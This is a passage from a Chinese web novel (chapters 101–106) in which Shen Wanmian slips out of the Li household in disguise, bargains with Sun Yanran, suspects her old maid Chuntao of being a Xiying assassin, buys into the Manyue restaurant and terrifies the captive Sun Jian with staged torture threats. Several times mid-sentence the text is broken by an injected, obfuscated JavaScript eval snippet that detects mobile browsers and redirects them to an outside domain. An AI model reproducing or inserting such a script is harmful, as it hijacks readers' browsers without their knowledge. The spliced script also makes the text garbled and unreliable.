“你毁容了？遮住脸干什么？” 沈怀瑾翻了一个白眼。 “你能不能盼我点好。” 沈晚眠不想和他废话，她朝阿烟点了点头。 阿烟立马心领神会，将房间的门关上，又在门口替她守着。 “说吧，怎么才能让我偷偷溜出去。” 沈晚眠不磨叽，上来便开门见山。 她有必要去见一见孙嫣然。 沈怀瑾从容一笑：“这还不简单，都打晕不就行了。” 沈晚眠气的额头上的青筋直跳。 “沈怀瑾，你想害死我吗？！” “安啦，你换上我的衣服，蒙上面出去，我替你在这待着。” 沈晚眠都要被他气**，这就是他说的不会耽误自己？ “你当外面的人是傻子吗？咱俩的身量能一样吗？” 沈怀瑾从怀中掏出一双长靴。 “你看，又急，为兄早就为你准备好了。” 最后沈晚眠只能妥协。 二人换上对方的衣服。 沈怀瑾一穿上她的衣裙，便矫揉造作起来。 他夹起嗓音，朝沈晚眠挥挥手：“妹妹。加油哦，姐姐在这里等你回来。” 沈晚眠直接将他无视，随后有些心虚的走出房门。 她与门口的阿烟对上视线，阿烟险些没绷住。 “公子，我送您。” 阿烟低下头，掩盖住上扬的嘴角。 随后二人就在满院子人的注视下，大摇大摆的走出静月轩。 吉祥有些奇怪的挠挠头。 四少爷走路的姿势好奇怪，还有他怎么这么瘦了。 算了，管他呢。 她还是先做好自己的事吧。 沈晚眠就这样一路蒙混过关，出了李府。 刚一出门，她就忍不住了。 这靴子也太高了，她感觉自己好几次都要摔倒。 她让阿烟扶着自己到了无人的角落。 将脚上的鞋换下。 随后便起身去找孙嫣然。 孙嫣然坐在院中，气定神闲的煮着茶。 见到沈晚眠，她一点也不意外，甚至微笑着让二人落座。 “孙小姐似乎在等我？” 孙嫣然脸上的笑意未减：“沈二小姐，您比我预想中的来的要早。” 沈晚眠饶有兴致道：“是吗？” “不妨让我猜猜，孙小姐此番的目的是什么。” 孙嫣然倒茶的动作顿了顿，随即轻笑道：“好啊，愿闻其详。” “此前我觉得，孙小姐之所以要揭发我的身份，无非就两种可能，第一，是想借李家的势让赵钱放过你，第二，是想挑拨李家和赵家的关系，我原本更倾向与第二种，不过现在不一样了。” 孙嫣然饶有兴致的挑挑眉：“怎么个不一样法？” “孙小姐只是想让我的身份被李家人知道，仅此而已。” 听到沈晚眠的话，孙嫣然忍不住放声大笑。 “有意思，真有意思，我要是想让你身份暴露，大可直接去李家，为何要先找赵钱？” 沈晚眠答道：“自然是想将事情闹大，闹的人尽皆知。” 孙嫣然反问道：“这对我又有什么好处？” 沈晚眠身子前倾，眼睛直勾勾的盯着孙嫣然。 “当然有好处，你知道我的身份，自然也知道我此行的目的。” “李家想掩盖当**，必定对知情人都封了口，就像徐家那样，我的身份一旦暴露，其余知情人只会离我远远的，我调查起来便会更困难。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230017|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿，轻抿一口孙嫣然为她倒的茶。 “到了最后，我便只能将希望都寄托在你身上，我说的对吗？” 孙嫣然微笑着为她鼓掌。 “不愧是京城来的贵女，你说的，一点都没错。” 她就是要把她逼到绝境，让她不得不来找自己。 “那你呢，你处心积虑，到底想要什么？” 孙嫣然也不藏着掖着，直接提出她的三个要求。 “我知道你母亲和我父亲的全部事，我这里还有当年你母亲写给我父亲的亲笔信，只要你能答应我三个条件，我便将这些，通通告知与你。” 听孙嫣然这么说，她几乎可以确定，母亲笔下“不熟”的男人，就是孙文。 “什么条件？” “第一，我要你帮我还清赵钱的债，让他不再继续骚扰我。” “第二，我要孙建的命！” 说到第二条时，孙嫣然的眼睛里翻涌出巨大的恨意。 她的手猛地攥紧，茶盏都要被她捏碎。 沈晚眠没说话，而是静静的听她讲第三条。 “第三，帮我找到我父亲的尸骨。” 提到孙文，孙嫣然又恢复了平静， 前两条还好办，但是这第三条…… 孙文都**这么多年了，她上哪去寻他的尸骨。 “好，我答应你。” 不过她还是答应下来，毕竟如今的她压根就没有讨价还价的余地。 与孙嫣然谈判完后，沈晚眠便要打道回府。 李家人都精明的很，估计沈怀瑾撑不了多久。 她得快些回去。 与阿烟往回赶的途中，沈晚眠突然瞥见一抹熟悉的身影迅速从街边的胡同闪过。 那是……春桃！ 她怎么在这？ “阿烟，你快去……去那边，刚才有一黑衣女娘过去了，你帮我拦住她。” 阿烟得了令，咻的一下飞出去。 沈晚眠只能靠两条腿快速跟上。 他们这些会武功的，也太逆天了。 前有呼延婷带她“飞”逃皇宫，后有阿烟如闪电般消失…… 等她气喘吁吁的追上阿烟时，却被眼前的人吓了一跳。 “怎么是你……” 第102章 仇人 沈晚眠略微有些吃惊。 她知道裴行止来了，但没想到她们会在这种情况下相见。 “你怎么会在这？” 春桃呢？她去哪了？ 裴行止也没想到会遇到她们。 “我……执行公务，你呢？” 之前从黑市得来的消息。 西瀛卧底的总部就在扬州。 想到沈晚眠也在扬州，他便派沈怀瑾去帮助她。 方才他在街上，看到了那次刺杀事件唯一一个逃脱掉的身影。 便想着悄悄跟上他。 结果却和阿烟撞在一起。 “执行公务？什么公务？” 沈晚眠没有回答他的话。 她总感觉哪里不对劲。 “此事说来话长，换个地方讲。” 裴行止带着二人来到他暂住的客栈。 他唤来属下木槿，吩咐他和阿烟一起去追踪刚才的身影。 阿烟本想说些什么，最终还是没说出口。 算了，那是小姐的事，她还是别多嘴了。 二人走后，沈晚眠继续追问刚才的问题。 “你还没回答我，执行什么公务？” 他执行公务，和春桃有什么关系？ “你还记得之前在红楼里遇见我那次吗？” 他的话让沈晚眠尴尬的红了脸。 无缘无故的，提那个做什么…… “我在跟你说正经的！” 裴行止知道她这是想歪了，不免也有些尴尬。 “我不是那个意思……我是说，那次我去红楼，是发现了西瀛的卧底，我派你四兄卧底在与他们接洽的商队中，那些商队虽然不知情，但和他们有生意往来，经过打探，得知他们的老巢，就在扬州。” 沈晚眠的表情一下僵住了。 西瀛卧底？所以上次她看到沈怀瑾，是为了调查卧底。 难怪他那般打扮。 不过这和春桃有什么关系？ “那你刚才……” “我刚才看到了西瀛刺客，想悄悄跟着他找到他们的老巢。” 沈晚眠如遭雷劈，她激动的反驳道：“你怎么确定她就是西瀛刺客？说不定是你看错了！” 不可能！春桃绝对不是西瀛刺客！ 不然她在自己身边十年，为何自己一点都没察觉。 裴行止对她的反应感到奇怪，她这是怎么了？ “错不了，之前我与她交过手，你还记得元音寺一见吗，那次我去找你，就是追他追到那里。” “阿烟也与他交过手，还将他重伤。刚才见到阿烟，我以为她也认出他了。” 裴行止的话将她最后一根稻草压倒。 怪不得她一直不肯坦白自己的身世，怪不得她会满身是伤的倒在元音寺后山。 怪不得她会自己悄悄离开。 原来，她的行为早就告诉自己她不正常。 只是自己一直不愿多想。 如果她是西瀛刺客，那自己一直苦苦追寻的仇人，难道就是…… 沈晚眠无力的瘫倒在椅子上。 此刻她面如死灰，整个人充斥着无力感。 裴行止被她的反应吓了一跳。 “你怎么了？不舒服吗？” 想到这里，他开始紧张起来。 “要不要喝点热水，或者去医馆看看，等会啊，我……” “我没事，别担心。” 沈晚眠出声打断了他的兵荒马乱。 “我就是有点累了，想回去歇会。” 她只想一个人静静…… 沈晚眠起身就要离开，却被裴行止拦了下来。 “就在这里歇着，等你好点了，我再送你回去。” 他态度强硬，沈晚眠不想和他争，便只能听他的。 裴行止十分认真的替她换了床铺，又为她倒了一杯热水。 “一看便知这几日你又没好好休息，喝完这杯热水就去睡一觉，我就在门口守着，有事叫我。” 沈晚眠被他逼着躺到床上。 发生了这么大的事，她怎么可能能睡着？ 她一闭上眼，脑海中便浮现出承乾宫血流成河的惨象。 是她用人不淑，才引狼**。 承乾宫众人，甚至裴宴，都是因为她才无辜丧命。 她到底都做了什么！ 十年啊，十年的风雨同舟，相互扶持。 到头来，她还是要杀了自己。 所以这十年的真心，都是笑话吗？ 泪水无声的从眼角滑落，浸湿了她的发丝。 她想过无数种可能，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赶紧上前认错道：“对不起，我以后不会了，别生气了呗，这不是没出事吗，除了你，谁还会来找我……” 她嘴上虽然认错，心里可不这么觉得。 第103章 不信 发现就发现呗，她是来做客的，又不是来坐牢的，要去哪里还要经过别人同意吗。 “你可知今日悦茹来过，要不是吉祥来找我，此刻你已经暴露了。” 怕沈晚眠不知道“悦茹”是谁，沈怀瑾还“好心”的在一旁解释。 “就是你姨母的女儿，你表姐。” 沈怀瑾说完，十分窝囊的看了一眼李言初。 见对方也一脸严肃的看着他，沈怀瑾赶紧低下头。 “她……来找我做什么？” 自己和她连话都没说过，只在徐府匆匆见过一面，她为何要来找自己？ “姑母新得了几匹上好的蜀锦，想为你们姐妹做身衣裳，叫你过去挑选样式。” 李言初虽然生气，但还是跟她解释了事情的来龙去脉。 “悦茹过来寻你，沈兄自然不能露面，便想搪塞过去，悦茹不是个好脾气，当即就要进去将沈兄拽出来，吉祥见状赶紧去寻我，我赶到时，悦茹和沈兄一个从里面死命抵着门，一个从外面死命撞着门……” 听到这里，沈晚眠终于意识到今日有多凶险。 “昭昭，我知道你不在乎这些，可是你也瞧见了，祖母对你有多上心，她要是知道你把她当外人防着，出门都要避着她，她该多难过。” 沈晚眠默默在心底吐槽。 她要是不避着她，说不定连门都出不去。 “我本不想过问你的事情，可事到如今，你也该告诉我你在干什么，后院里藏着的，可是一个活生生的人！” 该来的终究会来，沈晚眠从让他帮忙藏人的那一刻，就没打算继续瞒着他。 “我母亲的死不简单，我想找到真相。” 李言初愣了一瞬，随即劝道：“那你更不应该瞒着祖母，祖母知道了一定会帮你的。” “她知道。” “她知……你说什么？！” 李言初的声音骤然提高。 “那她……” 沈晚眠呼出一口气，随即平静道：“她知道，就是她阻拦我，我才会这么做。” 李言初有些不能接受她说的。 “你的意思是，祖母知道小姑姑的死有隐情，这么多年一直不去查明真相，还阻拦你为母报仇？” 荒谬，简直荒谬！ 虽然他对小姑姑没有印象，不过这么多年，李家上上下下几百口人都知道，小姑姑的死，是祖母心中最深的一根刺。 她怎么可能不想查明小姑姑的死因。 沈晚眠知道他肯定不信自己。 她也不指望仅凭自己三言两语，就能撼动李老夫人在李言初心中的形象。 “你若不信，可以试试。” 李言初当然不信。 “试试？” “对，试试，你且等着吧，明日……不，或许待会，你就知道了。” 话音刚落，门外便传来灵锁的声音。 “沈小姐，少爷，请去前厅用膳吧。” …… 沈晚眠刚到前厅，就听见一道阴阳怪气的女声。 “哟，我还以为有什么东西把沈小姐栓在屋子里了呢，看来还是我面子不够大，请不动人家。” 沈晚眠停住脚步，任凭沈怀瑾再陪着笑怎么拽她，她都不动。 气氛一时变得尴尬。 李老夫人面不改色的拿起拐杖，拐杖落到李悦茹头上的前一秒，被李悦茹转身躲开。 “悦茹，少说两句。” 李茵茵不咸不淡道。 沈晚眠将前厅里的人都看了一遍。 李老夫人长子李执，其妻魏氏，其**李欣冉，还有其长子李言初在她身侧。 李老夫人次女李茵茵，其女李悦茹。 很好，都到齐了。 “今日是我不对，欺瞒大家在先，欺骗表姐在后，昭昭在此，向大家赔礼道歉。” 沈晚眠躬身行礼，不卑不亢道。 李悦茹见她态度良好，稍稍消了气，不过看她细胳膊细腿的，哪里来的如此大的力气？ “你做什么了？” 李悦茹语气不善道。 “我偷跑出府，还叫兄长协助与我，表姐今日在静月轩见到的，不是我，而是我兄长。” 李悦茹更不解了：“你出门就正大光明的出呗，又没人拦着你，干嘛要偷偷摸摸，还让你兄长装成是你。” “表姐莫急，如果我能正大光明的出门，也就不会出此下策。” 李悦茹翻了个白眼：“有话直说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236311|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 沈晚眠也不恼，她一字一句道：“是因为我想……” 她话还没说完，就被李老夫人厉声打断。 “行了，没完没了了，此事日后不准再提，吃饭！” 这话看似是在训斥李悦茹，实则是警告沈晚眠。 沈晚眠没继续说下去，李悦茹知道外祖母的脾气，也不敢多嘴问下去。 李茵茵眸光微动，母亲与这丫头发生了什么？ 母亲又在隐藏什么？ 这丫头年纪不大，本事不小，日后她得多留意些。 李言初此刻终于相信了表妹的话。 她说的，竟然是真的，祖母为何不愿小姑姑的死真相大白？ 接下来昭昭的忙，他帮还是不帮？ 祖母对小姑姑的思念作不了假，她这样做一定有她的理由。 或许事情的真相，比他们想象的要更残酷，更危险。 昭昭会不会因此受到不好的影响？ 不过仅犹豫了片刻，他便决定了，要继续帮助沈晚眠。 不管真相有多残忍，昭昭都有知道真相的权利。 那是她的母亲，是带给她生命的人。 饭后，李老夫人将沈晚眠单独留下。 “白日里我劝过你了，为何你就是不听话，非得去钻牛角尖。” 李老夫人实在不愿看到沈晚眠将她这些年极力掩盖的真相重新带到明面上来。 “你这孩子，怎么这么倔，我做这些，都是为了你好。” 如果她知道了真相，必定会悲痛万分。 与其到时候伤心难过，不如一直糊涂下去。 “外祖母，您的苦心我都知道，可我宁愿承受真相的痛苦，也不愿我母亲死的不明不白。” 她想过了，母亲既然不喜欢孙文，也不喜欢沈知舟。 那她就不会是抑郁而终。 更不会明知生下她会死，而选择拼死生下她。 她都不爱沈知舟，又怎会为了给他生孩子而丧命。 苏倩儿所说的便不成立。 或许她骗了自己，或许李老夫人所认为的，也是假象！ 方才她在客栈就已暗暗发誓，一定要为母亲和自己报仇，她绝不会退缩！ 第104章 还债 沈晚眠坚持如此，李老夫人怎么说都拗不过她。 最终二人闹了个不欢而散。 沈晚眠刚从正厅走出，又被李言初拦住去路。 “表兄不必白费口舌，我意已决，谁都别想拦我。” 沈晚眠梗着脖子，目光直直看向前方，像极了家里最叛逆的小女儿。 李言初温声道：“你需要什么？” 他竟然不是来拦住自己的。 沈晚眠有些惊讶道：“你……愿意帮我？” 李言初从来不是那种“父母之命大过天”的迂腐之辈。 如果他愿意乖乖听话，就不会不顾全家劝阻进京赶考。 他只是看起来温润如玉，实则也是有一颗叛逆的心。 孰是孰非他有自己的考量。 “愿意，为何不愿意？那也是我的亲人。” 本以为表兄会帮着外祖母劝自己，在她看来表兄最是孝顺恭敬。 没想他竟还有这样一面。 “我需要银子，很多很多银子……” 具体数目她不好意思向表兄提。 八万两可不是小数目。 “十万两够吗？我手里只有这么多现银，不够我去钱行取。” 李言初试探道。 多少？十万！ 老天爷，这就是首富的实力吗？张口就是十万！ “够了够了，我只需要八万两。” 李言初松了一口气，还好他给的起。 “好，明日我让下人给你送去。” 李言初越说，沈晚眠越愧疚。 刚才她还那样对他，结果转眼间表兄就借给了她八万两银子…… “多谢，日后我一定连本带利，尽数补上。” 李言初温和的笑了笑。 “我是你兄长，帮你是应该的，这八万两就当兄长送你的礼物。” 沈晚眠还想反驳，却被李言初催着回去休息。 反正她现在也拿不出这么多银子，日后再说吧…… 李茵茵一直在想晚膳时沈晚眠和母亲的对话。 不对劲，十分不对劲。 母亲不是那种会替犯了错的孩子遮掩的人。 如果她做了什么不该做的事，母亲不该是这般反应。 她这位突然冒出来的侄女，到底做了什么？ 母亲竟这般遮遮掩掩，连她都不告诉。 “娘，你想什么呢？我说的话你听见了吗？” 女儿不满的声音将李茵茵拉回现实。 “怎么了？” 李悦茹轻哼一声，随后赌气的背过身去。 “您压根不在意女儿，现在连女儿说什么都假装听不见，女儿还不如改了姓回到蒋家去，呜呜呜…” 李悦茹的父亲姓蒋，原本入赘到李家，后在李茵茵生下女儿后与其和离。 之后李茵茵就再没见过她的这位亲生父亲。 年幼不懂事时，她也曾闹着去找爹爹，后来她逐渐长大，明白了母亲的不容易，也就不再提这件事。 如今她又提此事，肯定是又有鬼主意，想以此“要挟”李茵茵。 “说吧，又闯什么祸了？” 李茵茵还不明白她？这丫头简直和她年轻时的性子一模一样。 只可惜长得和李家人不怎么像。 “哎呦，娘～说什么呢，讨厌。” “过几日花灯节就要开始了，女儿想跟您请几日假，不去铺子里了。” 花灯节不过一日，用得着从现在开始准备吗？这丫头分明是想躲懒。 李茵茵皮笑肉不笑道：“花灯节可以去，请假不行。” 李悦茹撒娇道：“求你了，母亲，您最好了，让我休息几日吧。” 李茵茵反问道：“你休息了，铺子谁来管？” “不是还有伙计嘛……” “那李家呢？以后李家谁来管？” 李老夫人前些年将家产一分为二。 李执和李茵茵，一人掌管一半。 李执有一双儿女，大儿子“养废了”，非要去做官，他还有小女儿可以继承衣钵。 但李茵茵只有一个女儿，虽说她正值壮年，但天有不测风云，妹妹的事就是活生生的例子。 她怕自己万一哪天出了意外，悦茹应付不来。 便把悦茹提前扔进铺子里历练。 “娘……别这么说，不是还有您吗……” 每次李茵茵拿这些话来教育她，她的心里就莫名发堵。 李茵茵知道自己对女儿有些严苛，她也不想这样，实在是怕她日后支撑不住。 “不去铺子里也可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236312|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以，不过你要答应我一个条件。” 李悦茹眼睛亮了亮。 声音都染上雀跃。 “什么条件？” “这几日盯着你兄长，看看他都在做什么。” 明眼人都能看出，李言初在替沈晚眠打掩护。 他一定也知道什么。 沈晚眠有两位兄长帮她，说不定外面也有人接应她。 且她还不了解她的性子，想从她那里得到消息难上加难。 所以唯一的突破口，便是李言初。 “放心吧娘，包在我身上。” 李悦茹拍着胸脯向她保证。 李茵茵被她的样子逗笑。 “你啊，真不知道该说你什么好。” …… 翌日，李言初差人将银子送到静月轩。 沈晚眠拿到后便直奔赵府而去。 孙建闹得厉害，她怕会惹人注意。 便让阿烟在后院看着他，所以她就只带了吉祥。 结果和上次一样，又让她扑了个空。 打听后，才知道赵钱去了西市。 她又带着吉祥去了西市。 她们赶到时，赵钱正热火朝天的指挥着奴仆建他的酒楼。 这场面，越看越熟悉。 跟她遇害那日，吉祥指挥众人的样子一模一样。 沈晚眠都走到他身后了，他都没有丝毫察觉。 “赵公子，忙着呢。” 赵钱被身后的声音吓了一激灵。 他恼怒的转过身，哪个不长眼的敢吓唬他！ 他定要……诶…怎么是她？！ “这不是沈小姐吗？哈哈哈，您来怎么不提前说一声，我提前准备准备啊，不知您大驾光临，有何贵干啊？” 赵钱表面上笑呵呵，内里其实慌的不行。 该不会李家反悔了，要将土地收回吧？ 赵钱谄媚的样子叫沈晚眠不由得瞪大双眼。 这还是她认识的赵钱吗？ 他不应该对自己吹胡子瞪眼吗？ “我是来替孙嫣然还债的，这些是她欠你的银子。” 赵钱见她没提土地的事，心里的石头落了地。 “害，您说什么呢？这块地早就把孙家的债抵了，您这不是拿我开玩笑吗。” 第105章 入股 他都收了李家的地，怎么敢再收沈晚眠的钱。 “这块地是……表兄给你的？” 除了李言初，她想不到李家第二个会帮她平事的人。 李老夫人虽然也会帮她，但她绝对不会屈尊跟赵钱谈判。 “正是，唉，都好几年了，孙建欠的银子早就算不清了，那日我说八万两，只是想吓唬吓唬孙嫣然。” 其实是想讹她吧…… 知道孙建还不上债，还让他进赌坊，他就是该！ “孙建在你这里赌了好些年，你明知他的还不上，为何还要让他进赌坊？” 赵钱委屈道：“我也想将他赶出去，但我爹不让啊。” “为何？” 莫非其中有什么隐情？ 赵钱解释道：“听我爹说，赵钱早些年欠过更多，催债的人都要将他家屋顶给掀了，大家都以为他家银子被他赌光了，结果只过了几天，他便将窟窿填上了，我爹说，他家一定还有存银，这才放心让他在赌坊继续赌。” 沈晚眠疑惑道：“你是说他欠了很多债，一开始还不上，后来突然有一天还上了？” 如果家里有钱，为何不当时就还？ “舍不得呗，最后没招了，还不是乖乖将银子拿出来了，要我说我还是太仁慈，说不定多逼孙建一把，我也能拿到银子。” 孙建要是真有银子，就不会躲起来了。 沈晚眠不觉得像孙建这种人，能将银子存到现在。 就算是有，也早就败光了。 “先不聊他了，您是从京城来的，肯定比我们见多识广，烦请您帮我瞧瞧，这图纸怎么样？” 赵钱不是在跟沈晚眠客气，在他看来京城便是这世间最繁华，最奢靡之地。 他做梦都想去京城生活。 因此在他眼中，沈晚眠便是他认识的人里最有见识的。 沈晚眠接过图纸，瞳孔骤然放大。 “满月阁！你盖的是满月阁！” 她不敢相信自己的眼睛，用力揉了揉后，又重新将图纸上的字看了一遍。 不是同音字，也不是她看错了。 就是那个三年后，名满天下的扬州满月阁！ 她不可思议的盯着赵钱。 想不到他竟然就是满月阁的主人，她记得上一世满月阁刚在扬州建起，就火爆异常，一年后，满月阁的东家又在其他州郡开了分店，生意更是不减反增。 三年后，东家将总店转移到了京城。 却始终没有以真面目示人。 她以为，东家应是某位隐藏身份的高人，或者不愿暴露身份的皇亲贵族。 没想到竟然是赵钱！ 他这性格，完全不搭边啊。 赵钱不明白沈晚眠为何只看了一眼图纸，便如此激动。 莫非……他画的太好了？ “沈小姐，您怎么了？” 沈晚眠平复了激动的心情，怀疑的开口道。 “整个扬州城，还有第二家叫满月阁的酒楼吗？” 赵钱摇了摇头。 “扬州城大大小小的酒楼我早逛遍了，这名字可是我精挑细选选出来的，不可能有重名的。” “那还有其他正在建的酒楼吗？” 赵钱思索了一会。 “应该是没有了，马上要过年了，谁家还有功夫建酒楼啊，要建也是开春后在建。” 沈晚眠震惊的目光逐渐转为欣赏。 她十分欣慰的拍了拍赵钱的肩膀。 “赵兄，咱们也算不打不相识，这样吧，这八万两银子你拿着，算我入股咱们满月阁。” 如今细看赵钱的长相，可真谓吉人自有天相。 瞧瞧这眉眼，多开阔。 看看这身姿，多圆润。 是她有眼不识泰山，竟然一见面，就把贵人打了。 赵钱有些受宠若惊，女人变脸的速度，怎么比翻书还快…… “哈哈……沈小姐真是性情中人啊……” “诶，赵兄这话就见外了，以后别叫我沈小姐，叫我小沈就成。” 她现在不巴结这点，万一日后这人发达了，不认自己了怎么办？ 赵钱可不敢这样称呼她。 他这些日子弄清楚了沈晚眠的底细。 她爹可是一品大员，当朝太傅，就连太子和众位皇子，都得尊称他一句先生。 而且他还听说，如今风头正盛的战神宸王殿下，和一人之下万人之上的太子殿下，都拜倒在她的石榴裙之下，抢着向陛下求娶。 这样一位风云人物，给他十个胆子，他也不敢叫她小沈啊…… “沈小姐真会开玩笑，您能看得起小人，是小人前世修来的福分，小人怎么敢对您不敬……” 沈晚眠也觉得，她刚才的话有些过了。 她清了清嗓子，重新开口道：“既然如此入股的事算是定下了，等满月阁建好后，我再来寻你。” 将沈晚眠这尊大佛送走后，赵钱转念一想，对着他的图纸傻乐起来。 如此身份尊贵，且有手段之人要入股他的满月阁。 看来这地方真是选对了。 …… 解决了第一个条件，还顺带入股了满月阁。 沈晚眠简直不要太高兴。 她心情大好的回到静月轩。 想着之后的两个条件。 或许是心情变好了，她的思维也活跃起来。 对啊！她怎么把孙建给忘了。 孙建是孙文的亲弟弟，而且事情发生时孙嫣然还小。 孙建一定比孙嫣然知道的要多吧。 这两日发生了太多事，让她一直将目光放在了孙嫣然身上。 孙建岂不比孙嫣然更好拿捏，更好逼问。 想到这里，沈晚眠的心情更加好了。 不过她不能贸然开口，此事还得好好谋划，不然孙建骗她怎么办。 “吉祥，你去将表兄请来，就说我有事情要找他商议。” 想要逼问孙建，还不被人发现，只能找李言初帮忙。 不过她也不想放弃孙嫣然。 毕竟已经帮她摆平一件事，不继续下去岂不是亏本了。 但她手里有了新的筹谋，便不会再向先前那般被动。 或许条件可以重新谈一谈。 孙建她并不打算真的杀了。 如果她手上沾了人命，孙嫣然就有了她的把柄。 被她坑过一次，当然要留个心眼。 不得不佩服，真是好算计。 如果是十年前的她说不定真的就被她牵着鼻子走了。 不过现在的她可不是十几岁的无知少女，而是从尔虞我诈的深宫中打磨过的恶鬼。 第106章 遗女 李言初收到消息立马放下手头的事来找沈晚眠。 沈晚眠将她的计划告知后，李言初便马上同意了。 等到月黑风高夜，二人又叫上沈怀瑾。 在沈怀瑾的掩护下兄妹二人成功躲过所有人来到后院。 阿烟心烦的很，这人怎么如此聒噪。 嘴都被堵上了还能一直发出声音。 小姐到底何时处置他啊，她真的要受不了了！ “烦死了，闭嘴！” 阿烟烦躁的踹了一脚地上的男人。 孙建半死不活的趴在草席上，被踹后他依旧不改，继续发出呜咽声。 阿烟气不过，又抬腿踹了他一脚。 这一次的力度明显比上一次更重，孙建被踢后先是痛苦的哀嚎一声，接着便老实了。 他往前蛄蛹了两下，试图和阿烟拉开距离。 “阿烟，阿烟，快出来，有事和你商量。” 沈晚眠故意压低的声音透过木门渗透进来。 阿烟朝孙建挥了挥拳头，警告他不要轻举妄动。 随后便出门去找沈晚眠。 孙建要是能老实，他就不是孙建了。 他记得这个疯女人听命于一位年岁不大的女娘。 虽然不知道女娘的身份，也不知道自己如今身在何处。 他欠的银子太多，以至于他自己都不知落到了谁的手里。 但从女娘的穿着上不难看出，她绝对不是普通百姓。 孙建眼睛转了转，又重新蛄蛹到木门前。 他将耳朵贴紧木门，想要听清她们在说什么。 “阿烟啊，你还记得那日孙嫣然跟我们提的条件吗？” 阿烟回道：“自然记得。” 孙建听到孙嫣然的名字，终于知道了自己为何在此。 原来是那个死丫头！ 不过她从哪找的打手？莫非她手里还有银子？！ 好啊，有银子不帮他还债，还找打手绑架他。 等他出去了，定要将那死丫头暴打一顿，再卖到青楼里去。 “既然咱们答应了她，就动手吧，待会你捂住他的嘴，别让他发出声音。” 沈晚眠顿了顿，故意用阴狠的语气道：“我听说有一种刑法，特别折磨人，要将人身上的肉一片一片剜下来，受刑的人不会立马死去，而是眼睁睁看着自己被剃的只剩白骨，最后只能等血尽而亡。” “听着就很有意思，你说，他能挺到几时呢，哈哈哈……” 沈晚眠的声音如阴冷的毒蛇一般，狠狠扼住孙建的喉咙。 他惊恐的瞪大双眼，冷汗瞬间浸透他破烂的衣衫。 死丫头从哪里找的变态，怎么会有女娘如此阴狠。 “这不太好吧，表妹。” 李言初“不忍”劝道。 “有什么不好，多有趣啊，孙嫣然可是唯一知道实情之人，不把她哄高兴了，咱们怎么知道当年的真相。” 孙建瑟缩在墙角，听到这句话，他猛地一怔。 什么真相？什么实情？她在说什么？她到底是谁！？ “吱呀”一声，破旧的木门被人从外面推开。 沈晚眠满脸笑意的款步来到孙建面前蹲下。 “孙建是吧，欢迎你来我家做客呀。” 孙建退无可退，只能靠着墙角发抖。 他奶奶的，她管这叫做客？！ “别害怕啊，马上我就送你上路。” 她脸上的笑意更甚。 孙建惊恐的瞪大双眼，他看到了她藏在身后的刀！ 少女明眸皓齿，眉眼弯弯。 月光洒在她的脸上，衬的她的眼睛更加明亮。 应是美好的画面，落在孙建眼里，却比索命的恶鬼更加可怕。 沈晚眠笑着站起身，居高临下的看着孙建，好似在打量濒死的猎物。 她将刀拿到身前，眼睛在孙建身上来回扫视。 “从哪里开始好呢，阿烟，你觉得呢？” 阿烟冷哼一声。 “小姐，如此低贱之物怎配脏了您的手，还是让属下来吧。” 李言初也上前劝阻她。 “表妹，你身份高贵，何必要染上这种脏东西的血。” 孙建双眼猛地睁大。 是他！李家独子！ 他唤她表妹，还说她身份高贵，李茵茵的女儿他见过，不长这样，那眼前的女娘是…… 李园园的遗女！ 看着阿烟手中的刀离自己越来越近。 孙建的大脑飞速运转。 如果她是李园园的女儿，刚才她提到“真相”“实情”难道是…… 绝对错不了！ 她说此事只有孙嫣然一人知晓，一定就是那件事了！ 不过那件事，可不仅仅只有孙嫣然知晓，毕竟里面还有自己的手笔。 意识到自己有了和对方谈判的筹码。 孙建赶紧使出浑身解数，吸引沈晚眠的注意。 阿烟烦躁的将他踢到一边。 “再聒噪，就先割了你的喉咙！” 看到孙建的反应，沈晚眠知道，她的目的达成了。 还行，不算太笨。 果然人在生死面前，会变的格外机灵。 “让他说吧，以后想说也没机会了。” 阿烟将他嘴里塞着的破布拽出。 骤然得以解脱，孙建呛到咳嗽了好几声。 “你……你刚才说的，孙嫣然知道的实情，我也知道。” 顾不上嗓子的嘶哑，孙建赶紧将自己的价值摆到对方眼前。 “哦？你也知道？那你说说，我想知道什么？” “孙文和李园园，你是她的女儿吧，我不比孙嫣然知道的少，只要你放了我，我就把他们俩之间发生的所有事，全都告诉你。” 孙建爬到沈晚眠脚边，双目猩红的盯着对方。 